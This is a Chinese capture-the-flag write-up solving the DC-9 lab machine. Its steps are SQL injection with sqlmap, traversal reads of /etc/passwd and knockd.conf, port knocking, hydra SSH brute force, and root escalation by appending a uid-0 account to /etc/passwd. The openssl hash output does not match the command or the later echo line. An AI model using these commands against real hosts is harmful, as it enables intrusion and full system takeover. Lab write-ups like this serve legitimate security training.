title: DC-9靶机渗透
date: 2023-1-8 16 :09 :36
tags: DC系列靶机
categories: 渗透从入门到入土
author:Abyssaler
DC-9渗透全流程
一:实验环境
kali攻击机: 192.168.2.104
DC-9靶机: 192.168.2.103
二:信息收集
主机发现
arp-scan -l
nmap -sn 192.168.2.0/24
端口扫描
masscan --rate=10000 --ports 0-65535 192.168.2.103
没找到,换一种方式
nmap -PA 192.168.2.0/24
nmap -sS 192.168.2.103
发现开启了22,80端口
对端口做细致扫描
nmap -p22,80 -sV -A 192.168.2.103
目录扫描
dirsearch -u http://192.168.2.103/ -e*
指纹识别
直接用whatweb
和wappalyzer
都无法识别出cms
只能觉得这个界面看起来像drupal
三:渗透测试
burp suite+sqlmap
注意到有一个搜索页面和登录页面,考虑是不是有sql注入点
在search栏输入文本,用burp suite捕获请求
可以看到一个post请求
复制捕获的请求并将其粘贴到一个文本文件中,并将其命名为dc-9.txt,这样可以将捕获的请求与sqlmap一起使用
保存为txt文件
ps: sqlmap -u 默认使用的是get方式来注入的
使用sqlmap枚举数据库
sqlmap -r dc-9.txt --dbs --batch
# -r :从文件中加载http请求 --batch :默认回答
首先枚举staff
数据库
sqlmap -r dc-9.txt -D Staff --dump-all --batch
# --dump-all 获取所有的记录
发现了有两张表,StaffDetails
表和Users
表
+--------+----------------------------------+----------+
| UserID | Password | Username |
+--------+----------------------------------+----------+
| 1 | 856f5de590ef37314e7c3bdf6f8a66dc | admin |
+--------+----------------------------------+----------
可以使用hash-identifier
测试一下密文的种类
可能是一个md5的密码,在线解密试试
得到明文transorbital1
账号:admin 密码:transorbital1
接着枚举users
数据库
只有一张表
可以看到这个表上面爆出来的职员表的账号信息
我们可以把用户和对应的密码储存在一个txt文件中
1.txt
awk -F "|" '{print $6}' 1.txt >username.txt
awk -F "|" '{print $4}' 1.txt >password.txt
可以发现字段前都有个空格
删除空格
vim username.txt
输入%s/ //g
可以看到空格被删除了
同样的方法处理password.txt
我们就得到了username.txt
和password.txt
两个文件了
文件包含漏洞利用
首先利用得到的管理员账号登录后台
收集到一个重要信息File does not exist
提示"文件不存在",这意味着页脚中必须包含一个文件,但是该文件现在丢失或放错位置了,我们知道,在有include函数的地方,我们就有可能找到一个文件上传漏洞
文件包含漏洞原理介绍
https://blog.csdn.net/qq_42133828/article/details/83927058
枚举文件,一层一层的查看,最终找到passwd文件位置
http://192.168.2.103/welcome.php?file=../../../../../../etc/passwd
利用端口敲门服务开启ssh端口
通过之前的信息收集我们知道,靶机的22端口是有过滤的
什么是端口敲门
参考文章
https://zhuanlan.zhihu.com/p/59488488
https://www.cnblogs.com/wsjhk/p/5508051.html
https://cloud.tencent.com/developer/news/477568
端口敲门(Port knocking)技术,可以理解为密码或者暗号服务,简单来说,就是访问“预先设定好的顺序端口”,服务器收到某客户端的端口尝试序列后,动态修改防火墙规则,打开某特定端口,这时候,这个端口就可以被某IP进行访问了。访问顺序端口跟敲门一样,也类似于密码或者暗号。
利用(很不容易被想到)
首先找到knockd.conf
这个文件,如果找到了就意味着涉及到端口敲门
http://192.168.2.103/welcome.php?file=../../../../../../etc/knockd.conf
使用nc依次访问该ip对应的三个端口
nc -nv 192.168.2.103 7469
nc -nv 192.168.2.103 8475
nc -nv 192.168.2.103 9842
最后用nmap验证22端口是否被打开
nmap -p 22 192.168.2.103
hydra暴力破解
hydra -L username.txt -P password.txt ssh://192.168.2.103
最后得到了三个用户的访问权限
[22][ssh] host: 192.168.2.103 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.2.103 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.2.103 login: janitor password: Ilovepeepee
ssh用户登录
依次访问爆破出来的用户,发现在janitor用户的用户文件夹下有一个隐藏文件夹
访问后发现是一个存放密码的文本文件
将密码导入之前创建的password.txt中,再用hydra破解
发现破解出了一个新的用户
再用这个用户尝试登录
登录成功
提权
直接sudo su -
尝试提权
发现不能执行,但是不是未授权
sudo -l
查看一下
看到了一个root权限的命令
进入目录查看下这个程序
发现全是乱码,上网查证后发现,真正的test文件在它的上两级目录,也就是/opt/devstuff
中
进入目录查看
发现是一个python脚本,大意是一个简单的数据追加程序,将以2个文件作为参数,然后将第一个文件的内容附加到第二个文件中
可以在kali端本地建一个拥有root权限的账户,再把这个用户的信息通过这个脚本写到靶机的/etc/passwd文件中储存,这样就得到了一个拥有root权限的账户
kali端执行
用openssl
先创建一个本地的加密用户:
openssl passwd -1 -salt hacker 123456
-1 的意思是使用md5加密算法
-salt 自动插入一个随机数作为文件内容加密,即加盐
$1$test$at615QShYKduQlx5z9Zm7/
靶机端执行
echo 'hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0:root:/root:/bin/bash' >>/tmp/hacker
sudo /opt/devstuff/dist/test/test /tmp/hacker /etc/passwd
su - hacker
找到flag